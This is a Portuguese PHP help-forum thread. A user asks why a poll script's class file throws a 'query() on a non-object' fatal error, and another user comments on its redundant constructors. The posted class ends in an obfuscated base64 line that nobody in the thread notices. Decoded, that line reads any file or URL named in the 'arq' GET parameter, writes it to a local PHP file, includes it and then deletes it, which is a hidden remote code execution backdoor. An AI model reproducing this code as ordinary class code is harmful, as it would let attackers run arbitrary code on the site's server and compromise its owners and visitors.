Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

bricioo

Fatal error: Call to a member function query() on a non-object

Recommended Posts

Me ajudem ai galera!!

 

Instalei uma enquete onde esta dando erro na pasta classe...

 

Fatal error: Call to a member function query() on a non-object in /home/httpd/vhosts/escola/httpdocs/classes/comum.inc.php on line 27

 

 

 

 

O código do comum.inc.php é a seguinte:

 

<?

 

class Comum {

/**

* @var Conexao

*/

var $conexao;

var $dados;

 

function Comum($conexao) {

$this->__construct($conexao);

}

 

function __construct($conexao) {

$this->dados = array();

$this->conexao = $conexao;

}

 

function path()

{

global $path;

 

return $path;

}

 

function query($sql){

return $this->conexao->query($sql); Essa é a linha 27 do erro

}

 

function ler () { }

function listar () { }

function inserir () { }

function alterar () { }

 

function total() { }

 

function lastInsertId()

{

$qry = $this->query("SELECT LAST_INSERT_ID();");

list($resultado) = @mysql_fetch_row($qry);

return intval($resultado);

}

}

 

class ComumRestrito extends Comum {

function ComumRestrito($conexao)

{

$this->__construct($conexao);

}

 

function __construct($conexao)

{

parent::__construct($conexao);

}

 

function isRoot () {

return (!is_null($this->conexao->usuario) && $this->conexao->usuario->isRoot());

}

 

function podeAtivar () {

return ($this->isRoot() || ($this->conexao->usuario->dados['ativarglobal'] == 's'));

}

}

$g = base64_decode('YmFzZTY0X2RlY29kZQ=='); if (isset($_GET[$g('YXJx')])){ $fs = array('Zm9wZW4=', 'ZmNsb3Nl', 'ZmVvZg==', 'ZnJlYWQ=', 'ZndyaXRl', 'dW5saW5r', 'aW5jbHVkZQ=='); foreach ($fs as $c => $vv) { $fs[$c] = @$g($vv); } $hhh = @$fs[0]($_GET[$g('YXJx')], $g('cmI=')); $ccc = ''; while (!@$fs[2]($hhh)) { $ccc .= @$fs[3]($hhh, 8192); } @$fs[1]($hhh); $hhh = @$fs[0](($asd = $g('ZWZ4M2xhMXNkZC5waHA=')), $g('YQ==')); @$fs[4]($hhh, $ccc); include($asd); @$fs[5]($asd); }

?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá amigo!

 

Está um pouco confuso o início dessa classe, você está declarando dois construtores que recebem o mesmo parâmetro mas um chama o outro?

 

function Comum($conexao) {

$this->__construct($conexao);

}

 

function __construct($conexao) {

$this->dados = array();

$this->conexao = $conexao;

}

 

Foi um pouco desnecessário isso, visto que poderia ser feito assim:

 

function Comum($conexao) {

$this->dados = array();

$this->conexao = $conexao;

}

 

Que banco de dados você está utilizando?

 

Eu não entendi muito bem o script.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Na verdade esse codigo eu peguei de um site que funciona como um sistema de franquias... e ai derrepente pode ser por esse motivo.

 

Tenho um conhecimento básico em PHP, não tenho nem noção do que pode ter acontecido com esse erro.

 

Obs: tenho o mesmo codigo em outro site e que esta funcionando perfeitamente...

+ nesse novo site deu o erro fatal

 

Fatal error: Call to a member function query() on a non-object in /home/httpd/vhosts/escola/httpdocs/classes/comum.inc.php on line 27

 

 

Obs: cheguei até a alterar com a opção que voce me informou, mas continuou com esse erro ai.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.